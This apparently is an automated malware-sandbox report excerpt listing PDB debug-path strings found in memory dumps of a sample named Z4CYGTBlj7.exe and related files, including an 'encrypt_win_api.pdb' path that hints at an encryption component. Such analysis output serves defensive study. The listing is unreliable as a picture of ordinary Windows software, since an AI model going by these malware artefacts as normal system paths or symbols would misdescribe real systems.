Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523863220.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525021757.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525908479.000000000336B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530077727.000000000336F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\& source: Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2446255332.0000000003367000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\=~ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529621743.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\AC\R source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421293791.0000000003012000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420388854.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\k5% source: Z4CYGTBlj7.exe, 00000005.00000003.2460374897.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2460863241.00000000032E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\d source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421293791.0000000003012000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420388854.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\\h5 source: Z4CYGTBlj7.exe, 00000005.00000003.2530899173.00000000031EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*ory\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\07 source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\"9 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\te\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530267766.00000000032DD000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\cs-CZ\od.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2560202146.00000000036C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\*73 source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb6L source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\* source: Z4CYGTBlj7.exe, 00000005.00000003.2539048431.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\eny List\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556774032.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2561102294.0000000003351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\( source: Z4CYGTBlj7.exe, 00000005.00000003.2369926305.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ixx source: Z4CYGTBlj7.exe, 00000005.00000003.2460374897.00000000032C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\rer\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\wif lijozilog\lonoderedes.pdb source: Z4CYGTBlj7.exe, 00000000.00000000.1995762392.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000000.00000002.2001023248.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000001.00000000.1998553479.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000004.00000000.2018931300.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2024762009.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000005.00000000.2022256294.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2117861293.00000000096E0000.00000004.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000000.2038844502.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2044416553.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000007.00000000.2042501050.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000C.00000000.2147328302.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2171346540.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000D.00000000.2167220763.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2433512512.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000016.00000000.2426386306.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000017.00000000.2429677390.0000000000411000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2562434082.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\es\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546900619.00000000032EC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549836460.0000000003358000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547833104.0000000003351000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554132431.0000000003365000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2419444961.0000000003231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000008.00000002.2112430516.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.2109197817.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2110893317.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OneDrive\logs\.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\g source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\t source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556645716.0000000003600000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560402334.0000000003611000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Data\ source: Z4CYGTBlj7.exe, 00000005.00000003.2547379931.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549899576.000000000303A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2562434082.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: Z4CYGTBlj7.exe, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\zed\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461279665.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419867627.0000000003246000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461198788.00000000031FB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446840507.0000000003242000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446642574.0000000003231000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421438707.0000000003277000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419444961.0000000003231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\\?@ source: Z4CYGTBlj7.exe, 00000005.00000003.2419574743.00000000031CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\320\s source: Z4CYGTBlj7.exe, 00000005.00000003.2523899510.0000000003206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\q source: Z4CYGTBlj7.exe, 00000005.00000003.2523899510.0000000003206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556811158.000000000322F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553956795.0000000003227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\p7/ source: Z4CYGTBlj7.exe, 00000005.00000003.2523863220.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525021757.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525908479.000000000336B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530077727.000000000336F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: Z4CYGTBlj7.exe, 00000005.00000003.2113296936.00000000096E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\P: source: Z4CYGTBlj7.exe, 00000005.00000003.2488944169.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2460374897.0000000003358000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463547956.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489212740.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490587220.0000000003370000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2488840983.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461330169.0000000003361000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: Z4CYGTBlj7.exe, 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556645716.0000000003600000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560402334.0000000003611000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\; source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\xfK source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525238514.00000000035C0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524845137.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000B.00000000.2132410468.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000B.00000002.2245746608.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000F.00000000.2244925743.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000012.00000000.2256501220.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000012.00000002.2352884069.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.2351621244.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524845137.000000000364C000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539577263.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2536791659.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2541326417.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524810796.0000000003561000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523654226.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524603202.0000000003538000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003568000.00000004.00000020.00020000.00000000.sdmp
